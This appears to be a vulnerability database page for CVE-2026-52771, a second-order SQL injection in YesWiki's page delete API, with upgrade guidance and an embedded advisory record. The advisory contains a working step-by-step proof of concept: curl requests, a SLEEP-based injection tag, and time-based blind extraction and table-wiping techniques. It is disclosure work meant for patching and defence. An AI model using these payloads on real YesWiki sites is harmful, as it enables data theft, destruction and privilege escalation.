CVE-2026-52771: YesWiki SQL Injection Vulnerability
HIGHCVE-2026-52771 is a HIGH (CVSS 8.3) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting YesWiki libraries in the Packagist ecosystem. The issue involves second-order sql injection in page delete api via unescaped page tag (`apicontroller::deletepage`). Remediation is available by upgrading affected packages to version 4.6.6.
CVE-2026-52771 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).
How to Fix CVE-2026-52771
To remediate this vulnerability, upgrade all affected YesWiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade yeswiki/yeswiki to 4.6.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for yeswiki/yeswiki
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-52771, inspect your project dependencies for YesWiki:
inspect dependencies for yeswiki/yeswiki
Analyze the terminal output to locate any version of YesWiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In YesWiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52771 Affected YesWiki Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
yeswiki/yeswiki
|
Packagist |
≥ 4.2.0
< 4.6.6
|
4.6.6
|
References
Frequently Asked Questions
What is CVE-2026-52771?
Which YesWiki versions are affected?
What version fixes CVE-2026-52771?
Is yeswiki/yeswiki affected?
What is the CVSS score of CVE-2026-52771?
What CWE is associated with CVE-2026-52771?
How can I check Packagist dependencies for CVE-2026-52771?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8f2v-2qhj-gfwg",
"modified" : "2026-07-09T21:00:14Z",
"published" : "2026-07-09T21:00:14Z",
"aliases" : [ "CVE-2026-52771" ],
"summary" : "YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)",
"details" : "## Summary\n`ApiController::deletePage()` interpolates a page tag retrieved from the database into a `DELETE FROM …_links WHERE to_tag = '$tag'` query without escaping. The page tag is attacker-controlled — the `POST /api/pages/{tag}` API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard `{{include page=\"…\"}}` link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.\n\nThis is a **classic second-order SQL injection**: the `INSERT` correctly escapes the value, so the malicious tag is stored intact and the input passes every \"is this value safe to put in the database?\" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.\n\n## Details\n### Affected component\n\n* **File:** `includes/controllers/ApiController.php`\n* **Method:** `ApiController::deletePage($tag)`\n* **Route:** `@Route(\"/api/pages/{tag}\", methods={\"DELETE\"}, options={\"acl\":{\"+\"}})` — `acl:\"+\"` means *any authenticated user*.\n* **Sink:** line 626\n\n```php\n// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 607–631)\npublic function deletePage($tag)\n{\n $pageManager = $this->getService(PageManager::class);\n $pageController = $this->getService(PageController::class);\n $dbService = $this->getService(DbService::class);\n ...\n try {\n $page = $pageManager->getOne($tag, null, false); // (a) safe SELECT\n if (empty($page)) { ... } else {\n $tag = isset($page['tag']) ? $page['tag'] : $tag;// ^ raw tag from DB\n $result['notDeleted'] = [$tag];\n if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {\n if (!$pageManager->isOrphaned($tag)) {\n $dbService->query(\n \"DELETE FROM {$dbService->prefixTable('links')}\n WHERE to_tag = '$tag'\"); // (b) SINK — unescaped\n }\n ...\n```\n\nThe same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:\n\n* `tools/tags/handlers/page/__deletepage.php` line 14 - `DELETE … WHERE to_tag = '$tag'`, where `$tag = $this->GetPageTag()` is again the raw stored tag.\n* `handlers/page/deletepage.php` lines 93–94 - `LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '\" . $this->GetPageTag() . \"'\")`, same pattern as a SELECT instead of a DELETE.\n\nThe API path is the easiest sink to reach because it requires only `acl:\"+\"` and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler\n\nA low-privilege account can carry the whole chain:\n\n1. **Plant** — `POST /api/pages/{evil}` with body=anything. `PageManager::save()` escapes the tag at INSERT time (`'\\''` in SQL ⇒ stored `'`), so the tag persists with its single quote intact. The new page is owned by the attacker, so `UserIsOwner($tag)` in the delete handler will return true.\n2. **Make non-orphaned** — save *any* second page whose body contains `{{include page=\"<evil>\"}}` through the web edit handler. `LinkTracker::preventTrackingActions()` parses the include directive, looks up the referenced page (`PageManager::getOne()` finds it because lookup uses `escape()`, which matches the stored quote), and `LinkTracker::persist()` inserts a row `(from_tag='Linker', to_tag='<evil>')` into `_links` — again with `escape()` on the way in, so the raw quote round-trips.\n3. **Trigger** — `DELETE /api/pages/{evil}`. The delete handler reads the page (escaped SELECT, finds the row), assigns `$tag = $page['tag']` (the raw stored value, including `'`), runs `isOrphaned($tag)` (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the **unescaped** `DELETE FROM …_links WHERE to_tag = '$tag'`. The SQL parser sees the attacker-controlled `'` as the end of the string literal; everything after it is treated as SQL.\n\nThe injection point is `WHERE to_tag = '<here>'` — any payload of the form `<anything>' <SQL>-- ` works. With time-based primitives (`SLEEP`), the attacker reads any byte of any row of any table the wiki account can see.\n\n### End to End Steps to reproduce the issue\n\n1. Preflight\n * lab is up at http://localhost:8085\n2. Logging in\n * admin 'WikiAdmin' and low-priv 'TestUser01' both logged in\n3. Tier 1 - POST /api/pages/<evil-tag> (as TestUser01)\n * PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '\n4. Tier 2 - make the evil page non-orphaned\n * PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--\n5. Tier 2 - DELETE /api/pages/<evil-tag> (as TestUser01)\n * baseline (non-existent tag) : 0.468s\n * exploit (SLEEP(2) in tag) : 2.555s\n * delta : 2.087s\n * PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626\n6. Tier 3 - time-based blind data exfiltration\n * char='w' elapsed=0.505s miss\n * char='x' elapsed=0.495s miss\n * char='y' elapsed=3.522s <- HIT\n * char='z' elapsed=0.662s miss\n * PROOF : conditional SLEEP fired only for 'y'\n\nRESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.\n\n## PoC\n### Pre Reqs\n\nHad the following things setup in advance: \n\n1. Yeswiki v4.6.5 lab image (Setup via podman)\n3. Admin & User Account setup. \n\nParts used across PoC:\n\n* Site responding at `http://localhost:8085`\n* Admin account: `WikiAdmin / AdminPoc12345`\n* Low-priv account: `TestUser01 / TestPass12345` *(this is the attacker)*\n\nFor the rest of this document, set:\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nPREFIX=\"yeswiki_\"\nCJ=/tmp/yw_user.txt # cookie jar for our low-priv attacker\n```\n\nConfirm the vulnerable line is actually there: \n```bash\npodman exec \"$CTR\" \\\n grep -n \"DELETE FROM.*links.*WHERE to_tag\" \\\n /var/www/html/includes/controllers/ApiController.php\n```\n\n**Expected output:**\n```\n626: $dbService->query(\"DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'\");\n```\n\nLog in as the low-privilege attacker. We will get the session in return\n```bash\nrm -f \"$CJ\"\ncurl -s -c \"$CJ\" -o /dev/null \"${BASE}/?LoginPoc\" \\\n --data-urlencode \"action=login\" --data-urlencode \"context=LoginPoc\" \\\n --data-urlencode \"name=TestUser01\" --data-urlencode \"password=TestPass12345\" \\\n --data-urlencode \"remember=1\"\n\n# Verify the session is logged in:\nSID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' \"$CJ\" | awk '{print $2}')\npodman exec -u root \"$CTR\" grep '^user|' \"/tmp/sess_${SID}\"\n```\n\nPlant a page whose **tag** contains SQL meta-characters.\n\nThe Symfony route accepts the default `[^/]+` regex for `{tag}`, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the **stored** byte string still contains the literal `'`. That is the seed of the second-order bug.\n\n```bash\nEVIL_TAG=\"SleepTag' OR SLEEP(2)-- \"\nEVIL_ENC=$(printf '%s' \"$EVIL_TAG\" | \\\n podman exec -i \"$CTR\" php -r 'echo rawurlencode(file_get_contents(\"php://stdin\"));')\n\necho \"raw tag : $EVIL_TAG\"\necho \"URL-encoded : $EVIL_ENC\"\n\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/${EVIL_ENC}\" \\\n --data-urlencode \"body=poc\"\n```\n\n* The API accepted a tag with a literal `'` and SQL keywords, completely unsanitized.\n* The single quote round-tripped through `PageManager::save()`'s `escape()` and is now sitting in the database byte-for-byte as `SleepTag' OR SLEEP(2)-- ` — exactly what an attacker needs the read-back to return.\n* `TestUser01` is the owner, so the eventual `UserIsOwner($tag)` check in the delete handler will pass for them.\n\nNow, create a second page that will link to the evil page\n\nThe sink at L626 is gated by `if (!$pageManager->isOrphaned($tag))`. To pass it, the evil tag has to appear as a `to_tag` somewhere in the `_links` table. The cleanest way is the legitimate `{{include page=\"…\"}}` mechanism: a page whose body references the evil tag will register a link.\n\nFirst, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):\n\n```bash\ncurl -s -b \"$CJ\" -X POST \"${BASE}/?api/pages/LinkPoc\" \\\n --data-urlencode \"body=placeholder\"\n\n# Grab its id — we'll need it for the edit form's hidden \"previous\" field\nLINKID=$(podman exec \"$CTR\" mysql -uroot yeswiki -N -e \\\n \"SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';\")\necho \"LinkPoc id = $LINKID\"\n```\n\nMake the evil page non-orphaned (web edit handler)\n\nSubmit a web-editor save with body `{{include page=\"<evil tag>\"}}`. The pre-handler `tools/security/handlers/page/__edit.php` would normally require a hashcash token, but `env/install.sh` disables `use_hashcash` so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.\n\n```bash\nNEW_BODY='{{include page=\"SleepTag'\"'\"' OR SLEEP(2)-- \"}} rev-1'\n\ncurl -sL -b \"$CJ\" -X POST \"${BASE}/?LinkPoc/edit\" \\\n --data-urlencode \"submit=Sauver\" \\\n --data-urlencode \"previous=${LINKID}\" \\\n --data-urlencode \"body=${NEW_BODY}\"\n```\n\n* The web edit handler called `LinkTracker::registerLinks($page, false, false)` (handlers/page/edit.php:69).\n* `registerLinks()` formatted the page body and reached `preventTrackingActions()` (includes/services/LinkTracker.php:160).\n* That regex extracted `SleepTag' OR SLEEP(2)-- ` from `{{include page=\"…\"}}`, called `PageManager::getOne(<extracted>)` which found the page (lookup uses `escape()`, so a stored `'` still matches), and called `$this->add($page['tag'])`.\n* `LinkTracker::persist()` then inserted `(from_tag='LinkPoc', to_tag='<evil tag, raw quote>')` into `_links`.\n\n**Proves:** the second-order data has now been planted on **both** sides of the join the vulnerable DELETE query touches.\n\nWe need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/NonExistent99\" -o /dev/null\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"baseline elapsed: %.3fs\\n\\\", $T1-$T0}\"\n```\n\n**Expected output:** baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast `SELECT … WHERE tag = …`). Record this number.\n\nTrigger the SQLi (Tier 2 - the actual vulnerability fires)\n\nIssue a `DELETE /api/pages/<evil tag>`. The handler reads the page back from the DB, sees the row, takes `$tag = $page['tag']` (the **raw** stored value, still containing `'`), checks `isOrphaned()` (returns *not* orphaned because step 5 inserted a row), and runs the **unescaped** DELETE on L626. With our tag, that becomes:\n\n```sql\nDELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '\n ^^^ ^^^^^^^^^^^^^^^^\n | injected SQL\n breakout\n```\n\n`SLEEP(2)` runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.\n\n```bash\nT0=$(date +%s.%N)\ncurl -s -b \"$CJ\" -X DELETE \"${BASE}/?api/pages/${EVIL_ENC}\" -o /tmp/yw_del.json\nT1=$(date +%s.%N)\nawk \"BEGIN{printf \\\"exploit elapsed: %.3fs\\n\\\", $T1-$T0}\"\n\necho \"--- response ---\"\ncat /tmp/yw_del.json; echo\n```\n\n**Expected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):**\n\n```\nexploit elapsed: 2.555s\n--- response ---\n{\"deleted\":[\"SleepTag' OR SLEEP(2)-- \"]}\n```\n\n## Impact\n* Blind extraction of any column the wiki database account can read: user password hashes (`_users.password`), email addresses, ACLs (`_acls.list`), private page bodies (`_pages.body`), database session data, etc.\n* The sink is a `DELETE`; an attacker can append `OR 1=1-- ` to wipe the entire `_links` table, breaking inter-page navigation site-wide. The path can also be combined with `UNION`-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive).\n* `SLEEP()` per row scales with link-table size; a malicious tag with `SLEEP(60)` on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool.\n* `_users.password` hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a **low-priv → admin** primitive, and chains with the bazar deserialization bug (separate advisory) as **low-priv → admin → object injection / future RCE**",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "yeswiki/yeswiki"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.2.0"
}, {
"fixed" : "4.6.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-8f2v-2qhj-gfwg"
}, {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/commit/23d3cc124613b9428ab963b31807c08879a9c631"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/YesWiki/yeswiki"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-09T21:00:14Z",
"nvd_published_at" : null
}
}